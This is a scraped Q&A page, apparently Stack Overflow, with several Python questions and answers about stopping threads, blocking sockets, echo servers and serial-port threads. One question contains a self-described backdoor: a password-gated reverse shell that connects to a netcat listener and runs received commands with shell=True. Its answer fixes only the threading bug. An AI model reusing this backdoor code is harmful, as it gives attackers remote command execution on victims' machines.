How to stop Thread via button? - python

I have a button that is supposed to stop a thread that is running a server function on another Python file. The solutions I've tried are as follows:
Solution #1: Threading.Event
mainmenu.py
import server as serv #as in server.py
import socket
from threading import Thread
import customtkinter as cust
class GUI2(cust.CTk): #second window; not the root
def __init__(self):
self.master2 = cust.CTkToplevel()
self.master2.title("Admin/Host Lobby")
self.master2.geometry(f"{906}x{400}")
self.master2.protocol("WM_DELETE_WINDOW", self.leavewindow)
self.leave = cust.CTkButton(self.master2, text = "Leave", fg_color = "Red", text_color = "White", hover_color = "Maroon", command = lambda: self.leavewindow())
self.leave.grid(row = 0, column = 0, sticky = "n", padx = 1, pady = 1)
self.thread = Thread(target = serv.startChat)
self.thread.start()
def leavewindow(self):
serv.terminate() #calls function from server.py that sets flag to true
self.thread.join() #wait for thread to close
print("Thread closed")
serv.commence() #calls function from server.py that sets flag to false in case window is accessed again without exiting the program
self.master2.destroy()
server.py
import socket
import threading
import traceback
flag = threading.Event()
PORT = 5000
SERVER = socket.gethostbyname(socket.gethostname())
ADDRESS = (SERVER, PORT)
FORMAT = "utf-8"
clients, names = [], []
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(ADDRESS)
def terminate(): #set flag to true
flag.set()
def commence(): #set flag to false
flag.clear()
def startChat(): #function that listens for client connections; the aforementioned function I want to stop/break when button is pressed
print("server is working on " + SERVER)
server.listen(30)
try:
while not flag.is_set(): #function runs as long as flag is not true
conn, addr = server.accept()
name = conn.recv(1024).decode(FORMAT)
clients.append(conn)
except:
print (traceback.format_exc())
Solution #2: Global Flag Variable
Same code as above but with the following changes:
mainmenu.py
def leavewindow(self):
serv.setFlag(1) #passes integer 1 to set flag to True
self.thread.join() #wait for thread to close
print("Thread closed")
serv.setFlag(0) #passes integer 0 to set flag to false in case window is accessed again without exiting the program
self.master2.destroy()
server.py
flag = False
def setFlag(a): #function receives integer to set flag value
global flag
if a == 0:
flag = False
else:
flag = True
def startChat(): #function that listens for client connections; the aforementioned function I want to stop/break when button is pressed
print("server is working on " + SERVER)
server.listen(30)
try:
while True:
global flag
if flag:
break
else:
conn, addr = server.accept()
name = conn.recv(1024).decode(FORMAT)
clients.append(conn)
except:
print (traceback.format_exc())
Both of these "solutions" ends up freezing the window for an indefinite time; no errors printed in the terminal plus the line print("Thread closed") isn't even reached.
Any advice or alternative solutions in fixing this bug is highly appreciated.

A (if not the) major cause of an unresponsive tkinter GUI is a callback that keeps running.
The only callback that we see is leavewindow().
In that function, basically only self.thread.join() can cause this.
By default, sockets are created in blocking mode.
So for example recv will wait until it receives data.
Which is not what you want, because your flag or event will not be tested until after data is received.
You could set a timeout on the conn socket so it raises an exception when no data is received.
In the handler for that exception, just sleep() in the while-loop for some milliseconds.
def startChat(): #function that listens for client connections; the aforementioned function I want to stop/break when button is pressed
print("server is working on " + SERVER)
server.listen(30)
# Not sure if the following line is needed...
server.settimeout(0.005) # time out after 5 ms.
try:
while not flag.is_set(): # works with global flag as well
conn, addr = server.accept()
conn.settimeout(0.005) # time out after 5 ms.
name = conn.recv(1024).decode(FORMAT)
clients.append(conn)
except socket.timeout:
time.sleep(0.005)
except Exception:
print (traceback.format_exc())
Or you could use the selectors module with a nonblocking socket to only try and read data if any is available. Here you should also sleep() in the while-loop for some milliseconds when no data is available.

Related

How to fix python script being blocked by function even thought it's multithreaded

Im trying out a backdoor program i made for fun and it's multithreaded but only the firs thread gets initialized and then the rest of the program is being blocked until the function ends. It's supposed to print the time each 10 sec but have a backdoor running simultaneously.
I use netcat to communicate with the script.
'nc -l 1234' in Terminal
Ive tried to print right after initilization but it did not print anything.
If i initialize the other thread first the other one gets blocked.(First man to the mill.)
First threads func. has to end before next gets started.
Imports and most of the variables including locks.
import socket
import subprocess
import threading
import time
port = 1234
passw = 'Password'
host = 'localhost'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print_lock = threading.Lock()
sleep_lock = threading.Lock()
Functions
def clock():
with print_lock:
print(time.time())
with sleep_lock:
time.sleep(10)
clock()
def login():
s.send("Login > ".encode('utf-8'))
usrPassw = s.recv(1024)
if(usrPassw.decode('utf-8').strip() == passw):
s.send("Successfully Connected!\n".encode('utf-8'))
s.send("> ".encode('utf-8'))
revShell()
else:
s.send("Wrong Password!\n".encode('utf-8'))
login()
def revShell():
global s
while True:
inData = s.recv(1024)
if(inData.decode('utf-8').strip() == 'logout'):
break
sp = subprocess.Popen(inData, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
output = sp.stdout.read() + sp.stderr.read()
s.send(output.encode('utf-8'))
s.send('> '.encode('utf-8'))
This gets initialized
tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()
This does not
bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()
I expect the two threads to run simultaneously but they don't and the first one blocks the main thread and the second thread to be initialized.
Here is the problem, in "threading.Thread", the "target" parameter expected to be function name, don't put parenthesis after your function just put function name:
change these
tt = threading.Thread(target = clock(), name = "Clock Thread")
tt.start()
bdt = threading.Thread(target = login(), name = "Backdoor Thread")
bdt.start()
to:
tt = threading.Thread(target = clock, name = "Clock Thread")
tt.start()
bdt = threading.Thread(target = login, name = "Backdoor Thread")
bdt.start()
You haven't provided your thread instance init(), so we're a bit in the dark.
However, the general approach is to
subclass threading.Thread, and in the instance's init() function, ensure that you call threading.Thread.__init__(self)
in your __main__() routine, call os.fork() and then if in the child process call run().
I've got a functional example of this at https://github.com/jmcp/jfy-monitor/blob/master/jfymonitor.py

Python: How do I lock an object until all threads have done a thing

I am writing a simple threaded server that will send a message to all clients. I have an object that is reset after posting the change message, however I am having a hard time figuring out how to reset that object only after all threads have posted the change message.
To add some context to the problem. I am building a multi user Tkinter python app which connects to a remote database to retrieve information and the application needs to know when data changes so that when a user updates data, all other running instances of the app will get the update. From what I understand, MySQL does not support asynchronous application updates. Instead of running a query every 5 seconds on the database to see if there is a change, I am putting this code server side so that it will send a message to a socket on the client that a change has occurred on the database.
The main loop is just a dummy that will simulate a change
Here is my code:
import socket, threading, time, select, os
class dbMonitor:
isDBAltered = False
def postChange(self):
self.isDBAltered = True
def __str__(self):
return str(self.isDBAltered)
class ThreadedServer(object):
def __init__(self, port,dbMon):
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.setblocking(0)
self.sock.bind((socket.gethostname(), self.port))
self.dbMon = dbMon
def listen(self):
self.sock.listen(100)
read_list = [self.sock]
while True:
read,write,error = select.select(read_list,[],[],1)
for s in read:
if s is self.sock:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient, args = (client,address)).start()
def listenToClient(self, client, address):
read_list = [client]
size = 1024
while True:
response = b'Ack'
if self.dbMon.isDBAltered:
response = b'CHANGE'
try:
client.send(response)
except:
client.close()
return False
self.dbMon.isDBAltered = False
read,write,error = select.select(read_list,[],[],1)
for s in read:
if s is client:
try:
data = client.recv(size)
print(data)
if data:
client.send(response)
else:
raise error('Client disconnected')
except:
client.close()
return False
def mainLoop():
while True:
time.sleep(15)
print(dbMon)
dbMon.postChange()
dbMon = dbMonitor()
server = ThreadedServer(5005,dbMon)
threading.Thread(target = mainLoop, args=()).start()
threading.Thread(target = server.listen(), args=()).start()
How do I get self.dbMon.isDBAltered = False to execute only after all threads have executed:
response = b'CHANGE'
try:
client.send(response)
You're trying to synchronize something that's asynchronous... This is massively more complicated than it should be. Your dbmon is only storing a boolean flag... why not just asynchronously modify the "database" instead? For example, if the "database" was a thread-safe buffer, you could just append to that buffer or modify that buffer without synchronizing each thread individually, pull the information written to that buffer and write it to the client socket they belong to in another event loop (this is pretty much what asyncore does)
That said, I have some (probably nonworking, but I hope you get the idea) reference modified code for you to go off of if you want to continue pursing this avenue.
Basically, dbmon will keep a mapping of thread ids to [creation time, modified flag]
Our predicate returns true iff all threads created before a certain threshold have ALL set the modified flag. We set the modified flag when we send the response in the data = client.recv(size) portion of your code. And then we wait on that condition in the server send. We keep notifying all waiting threads on each client receive so that when the condition is finally met, our waiting server threads will all unblock and send the subsequent response.
import socket, threading, time, select, os
import collections
class dbMonitor:
def __init__(self):
self.isDBAltered = {}
self.lock = threading.Lock()
def newThread(self, tid):
self.lock.acquire()
# time of creation, boolean whether that thread has sent response
self.isDBAltered[tid] = [time.time(), False]
self.lock.release()
def threadDone(self, tid):
self.lock.acquire()
self.isDBAltered.pop(tid, None)
self.lock.release()
def altered(self, tid):
self.lock.acquire()
self.isDBAltered[tid][1] = True
self.lock.release()
def reset(self, tid):
self.lock.acquire()
self.isDBAltered(tid)[1] = False
self.lock.release()
def __str__(self):
return str(self.isDBAltered)
class ThreadedServer(object):
def __init__(self, port,dbMon):
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.setblocking(0)
self.sock.bind((socket.gethostname(), self.port))
self.dbMon = dbMon
self.lock = threading.lock()
self.cv = threading.Condition()
self.thresh = 2000
def condition_pred(self):
# unblock if threads currently running for longer than self.thresh have all set their flags
return all([timecreate[1] if time.time() - timecreate[0] > self.thresh else True for tid,timecreate in self.dbMon.isDBAltered])
def listen(self):
self.sock.listen(100)
read_list = [self.sock]
while True:
read,write,error = select.select(read_list,[],[],1)
for s in read:
if s is self.sock:
self.lock.acquire()
client, address = self.sock.accept()
client.settimeout(60)
T = threading.Thread(target = self.listenToClient, args = (client,address)).start()
self.dbmon.newThread(T.ident)
self.lock.release()
def listenToClient(self, client, address):
read_list = [client]
size = 1024
while True:
response = b'Ack'
with self.cv:
self.cv.wait_for(self.condition_pred)
self.dbMon.reset(threading.get_ident())
response = b'CHANGE'
try:
client.send(response)
except:
client.close()
self.dbmon.threadDone(threading.get_ident())
return False
read,write,error = select.select(read_list,[],[],1)
for s in read:
if s is client:
with self.cv:
try:
data = client.recv(size)
print(data)
if data:
client.send(response)
self.dbMon.altered(threading.get_ident())
self.cv.notifyAll()
else:
raise error('Client disconnected')
except:
client.close()
self.dbmon.threadDone(threading.get_ident())
return False

Running several sockets with different ports in Python

I'm trying to run several sockets on different ports as the following:
Socket:
import socket
class Receiver:
TCP_IP = '127.0.0.1' # by default
TCP_PORT = 1999 # by default
BUFFER_SIZE = 1024
def __init__(self, TCP_IP, TCP_PORT):
self.TCP_IP = TCP_IP
self.TCP_PORT = TCP_PORT
def initialize(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((self.TCP_IP, self.TCP_PORT))
s.listen(1)
conn, addr = s.accept()
print('Connection address:', addr)
while 1:
data = conn.recv(self.BUFFER_SIZE)
if not data: break
rdata = 'U'.encode() + data
print("received data:", data[1:5])
conn.send(rdata[0:5]) # echo
conn.close()
And Runner:
from NVGEmulator.Receiver import Receiver
import threading
class FireStarter:
def starter(self):
nvgEmu1 = Receiver('127.0.0.1', 2999)
print("FIRST INITIALIZED")
nvgEmu1.initialize()
nvgEmu2 = Receiver('127.0.0.1', 2998)
nvgEmu2.initialize()
print("SECOND INITIALIZED")
def starter_second(self):
nvgEmu2 = Receiver('127.0.0.1', 2998)
print("SECOND INITIALIZED")
nvgEmu2.initialize()
if __name__ == '__main__':
print("Receiver has been started")
fs = FireStarter()
thr = threading.Thread(target=fs.starter())
thr.start()
thr.join()
thr2 = threading.Thread(target=fs.starter_second())
thr2.start()
When I run FireStarter, it runs only the first instance of socket. I've read that there is "threading" library which can run several processes in async, but anyway there is no result, cause in console I see that "FIRST INITIALIZED". How to run the second or the third socket listener? May be there is another approach to do this.
You have two problems in that code.
The first one: here the second socket is waiting for the first one to end as it is trapped in the while loop:
def starter(self):
nvgEmu1 = Receiver('127.0.0.1', 2999)
print("FIRST INITIALIZED")
nvgEmu1.initialize()
nvgEmu2 = Receiver('127.0.0.1', 2998)
nvgEmu2.initialize()
print("SECOND INITIALIZED")
The second one is this join sentence thr.join(), with that you are forcing the second thread to wait for the first one, avoiding to run it in parallel.
Probably the approach I would follow is spawning a thread within the initialize function inside your Receiver class and manage the thread there (maybe extending the Thread class), with that you avoid to spawn by yourself a new thread each time and you have your code more encapsulated.

Python file operations handling in PyQt thread

I am thinking about the proper way to open and read a file whose data needs to be used in a thread. It is a GUI-based application for reading and writing to a serial port in a thread. This works perfectly right now.
Between reading, I also want to read from the file and write it to the port at a specific time. So far the structure when starting the thread is:
Open port
run method
Inside the run loop:
read time
read from file
write to port
if something in the buffer, read it
Finally, if stopped by the button:
close port
terminate thread
Now the question is that I am not sure how to structure and implement this file handling. Should I make a separate class for the file handler with methods I need, or just simply open the file and read it in the run() loop in the thread? If so, it does not seems to me very Pythonic or OOP, and I really want to code it in the right way to be able to maintain it later.
I am appending a quite simplified piece of code for better understanding. I removed some unimportant stuff, but there is probably still some left. You are very welcome to criticize it, since I am still a beginner.
class COMThread(QtCore.QThread):
def __init__(self, parent, *args, **kwargs):
QtCore.QThread.__init__(self, parent)
self.myInit (*args, **kwargs)
self._stop = False # flag to stop thread
self.parent = parent
try:
self.baudrate = int(self.baud)
self.port = str(self.port)
self.ser = serial.Serial(self.port, self.baudrate, timeout=0, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, xonxoff=False, rtscts=False, dsrdtr=False)
except serial.SerialException:
logger.error('Cannot open port', exc_info=True)
self._stop = True
else:
self.parent.comPortLabel.setText(u'Connected to port ' + str(self.port))
self.parent.comConnectButton.setText("Disconnect")
logger.info('Com Connected to port '+ str(self.port))
self.connect(self.parent.comPollButton, QtCore.SIGNAL("clicked()"), self.toggleComCustomLine)
self.connect(self.parent.comFreqSetButton, QtCore.SIGNAL("clicked()"), self.toggleComPollFreq)
self.connect(self.parent.comCustomCheckBox, QtCore.SIGNAL("stateChanged(int)"), self.toggleComCustomCheck)
self.connect(self, QtCore.SIGNAL('comSpeed(int)'), self.comWSlcd, QtCore.SLOT('display(int)'))
self.connect(self, QtCore.SIGNAL('comAngle(int)'), self.comWAlcd, QtCore.SLOT('display(int)'))
def myInit(self, port, baud):
self.port = port
self.baud = baud
def run (self): # class which is automatically called after __init__
self.txQueue = collections.deque(maxlen=10)
self.readyToSend = True
self.messageData = ''
self.txData = ''
self.newData = ''
self.time_start = 0
self.time_delta_s = 0
self.time_delta_ms = 0
self.speed = 0
self.angle = 0
self.poll_msg = collections.deque()
self.poll_msg_t = collections.deque()
# ------------------ THREAD STARTED ---------------------------------
logger.info('COM port com thread started...')
self.time_start = time.time() # initial time
while self._stop == False:
self.time_delta_ms, self.time_delta_s = math.modf(time.time() - self.time_start)
self.time_delta_ms = int(self.time_delta_ms*1000)
# prepare data based on timing
# READ FILE
# put data to queue
self.txQueue.append(self.messageData)
self.poll_msg.rotate(-1)
self.poll_msg_t.rotate(-1)
self.response_time_start = time.time()
# flush out queue and send everything
if self.readyToSend and len(self.txQueue):
while len(self.txQueue):
self.txData = self.txQueue.popleft()
try:
n = self.ser.write(self.txData)
self.ser.flush()
except serial.SerialException:
logger.error("Com Could not write to serial port")
#-------------------------------------------
time.sleep(0.001)
n = self.ser.inWaiting() # check if something in serial buffer
if n:
self.readyToSend = False
try:
self.newData = self.newData + self.ser.read(n)
logger.debug("S: "+str(self.time_delta_s)+ " ms: "+ str(self.time_delta_ms))
except serial.SerialException:
logger.error('Com Worker cannot read Serial Port !!!')
else:
n = 0
# Process received data
else:
self.readyToSend = True
self.ser.close()
logger.info('Com COM port thread stopped...jump out of loop')
self.parent.comConnectButton.setText("Connect")
self.parent.comPortLabel.setText("Disconnected")
def toggleStop(self):
self._stop = True
logger.info("Com Data worker stopped by button")

python stop multithreaded echo server

I tried to create multithreaded echo server:
echomain.py:
#!/usr/bin/python
from echoserver import echoserver
server = echoserver()
print server.isRunning()
print server.port()
server.start()
print "Main program continues..."\\This part is not displayed(((
echoserver.py:
#!/usr/bin/python
import threading
import socket
class connection(threading.Thread):
def __init__(self, sock, addr):
self.sock = sock
self.addr = addr
threading.Thread.__init__(self)
def run (self):
while True:
buffer = self.sock.recv(1024)
if buffer == "disconnect\r\n":
self.sock.send("bye")
break
elif buffer:
self.sock.send(buffer)
self.sock.close()
class echoserver(object):
def __init__(self, port=12119):
self.running = False
self._port = port
self._socket = None
def isRunning(self):
return self.running
def port(self):
return self._port
def start(self):
self.running = True
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self._socket.bind(("0.0.0.0", self.port()))
self._socket.listen(5)
while True:
conn, addr = self._socket.accept()
connection(conn, addr).start()
def stop(self):
self._socket.close()
print "Server is closed..."
Could somebody help me in how I can launch echoserver class as a thread so it run simultaneously with main program so I could stop it with stop() method in echomain.py part?
Change your runner program to run the server as a thread:
echomain.py:
#!/usr/bin/python
from echoserver import echoserver
from threading import Thread
import time
server = echoserver()
print server.isRunning()
print server.port()
# server.start()
# run server in a different thread
serverThread = Thread(target=server.start)
serverThread.start()
print "main - server started"
# wait ten seconds before stopping
time.sleep(10)
server.stop()
print "main - server stopped"
print "Main program continues..."
This example simply stops the server after 10 seconds.
The simplest way is to have your echoserver itself be a Thread as proposed by Reut Sharabani, but IMHO, you should also implement a correct stop() method, ensuring that all children have ended.
Here is my implementation of your script :
#!/usr/bin/python
import threading
import socket
class connection(threading.Thread):
def __init__(self, sock, addr, parent):
self.sock = sock
self.addr = addr
self.parent = parent
threading.Thread.__init__(self)
self.sock.settimeout(None)
self.closed = False # will be set to True on thread end
def run (self):
while not self.parent._stopped:
buffer = self.sock.recv(1024)
if buffer == "disconnected\r\n":
self.sock.send("bye")
break
elif buffer:
self.sock.send(buffer)
self.sock.close()
self.closed = True
class echoserver(threading.Thread):
def __init__(self, port=12119):
threading.Thread.__init__(self)
self.running = False
self._port = port
self._socket = None
self._stopped = False
self._conns = [] # list of active connections
def isRunning(self):
return self.running
def port(self):
return self._port
def run(self):
self.running = True
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self._socket.bind(("0.0.0.0", self.port()))
self._socket.listen(5)
self._socket.settimeout(5) # use a timeout to respond to stop()
while not self._stopped:
try:
conn, addr = self._socket.accept()
c = connection(conn, addr, self)
self._conns.append(c) # add child the the list
c.start()
except Exception as e:
# print e # in debug
pass
self._conns = self.child_list() # remove closed child from list
self._socket.close()
print "Server is closing..."
for connect in self._conns: # join active children
connect.join()
print "Server is closed"
def stop(self):
self._stopped = True
def child_list(self):
l = []
for conn in self._conns:
if conn.closed:
conn.join()
else:
l.append(conn)
return l
Remarks :
you simply use it that way :
serv=echoserver()
serv.start()
... # sleep of do anything you want
serv.stop()
if no connection is active when you call stop() all stops at the end of the accept timeout and you get :
Server is closing...
Server is closed
if at least one connection is active when you call stop(), you get only Server is closing... at the end of the accept timeout. Then for each connection, it will end as soon as it receives a packet, and will be joined by echoserver. Then when all connection are over, you will get Server is closed and echoserver thread will terminate
that means that in you main thread you have only to do
serv.stop()
serv.join()
to be sure that all other threads are correctly terminated, and that all sockets are closed

Categories